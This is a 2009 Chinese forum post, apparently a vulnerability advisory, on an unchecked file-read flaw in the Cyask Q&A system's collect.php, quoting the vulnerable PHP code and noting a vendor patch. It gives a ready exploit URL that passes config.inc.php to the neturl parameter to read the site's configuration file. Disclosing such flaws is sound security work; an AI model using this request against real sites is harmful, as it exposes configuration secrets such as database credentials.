暂眷 發表於 2009-5-24 18:16:19

cyask知道系统collect.php页面存在越权漏洞

<p>影响版本: <br />Cyask</p>
<p>程序介绍: <br />Cyask国内较为多人使用的仿百度风格的Ask系统。</p>
<p>漏洞分析:</p>
<p><br />从Collect.php代码当中可以看到</p>
<p><br />else&nbsp;&nbsp; <br />{&nbsp;&nbsp;&nbsp;&nbsp; <br />/*&nbsp;&nbsp; <br />检查网址&nbsp;&nbsp; <br />*/&nbsp;&nbsp; <br />$url=get_referer();&nbsp;&nbsp;&nbsp;&nbsp; <br />$neturl=emptyempty($_POST['neturl']) ? trim($_GET['neturl']) : trim($_POST['neturl']);&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp; <br />$collect_url=emptyempty($neturl) ? $url : $neturl;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp; <br />$contents = &rdquo;;&nbsp;&nbsp;&nbsp;&nbsp; <br />if(<font color="#ff0000">$fid=@fopen($collect_url,&rdquo;r</font>&ldquo;))&nbsp;&nbsp;&nbsp;&nbsp; <br />{&nbsp;&nbsp;&nbsp;&nbsp; <br />do&nbsp;&nbsp; <br />{&nbsp;&nbsp;&nbsp;&nbsp; <br />$data = fread($fid, 4096);&nbsp;&nbsp;&nbsp;&nbsp; <br />if (strlen($data) == 0)&nbsp;&nbsp;&nbsp;&nbsp; <br />{&nbsp;&nbsp;&nbsp;&nbsp; <br />break;&nbsp;&nbsp;&nbsp;&nbsp; <br />}&nbsp;&nbsp;&nbsp;&nbsp; <br />$contents .= $data;&nbsp;&nbsp;&nbsp;&nbsp; <br />}&nbsp;&nbsp;&nbsp;&nbsp; <br />while(true);&nbsp;&nbsp;&nbsp;&nbsp; <br />fclose($fid);&nbsp;&nbsp;&nbsp;&nbsp; <br />}&nbsp;&nbsp;&nbsp;&nbsp; <br />else&nbsp;&nbsp; <br />{&nbsp;&nbsp;&nbsp;&nbsp; <br />show_message(&rsquo;collect_url_error&rsquo;, &rdquo;);&nbsp;&nbsp;&nbsp;&nbsp; <br />exit;&nbsp;&nbsp;&nbsp;&nbsp; <br />}&nbsp;&nbsp;&nbsp;&nbsp;</p>
<p><br />漏洞利用: <br /><font color="#ff0000">http://www.target.com/collect.php?neturl=config.inc.php</font></p>
<p>解决方案: <br />厂商补丁: <br />cyask <br />------- <br />目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载</p>
頁: [1]
查看完整版本: cyask知道系统collect.php页面存在越权漏洞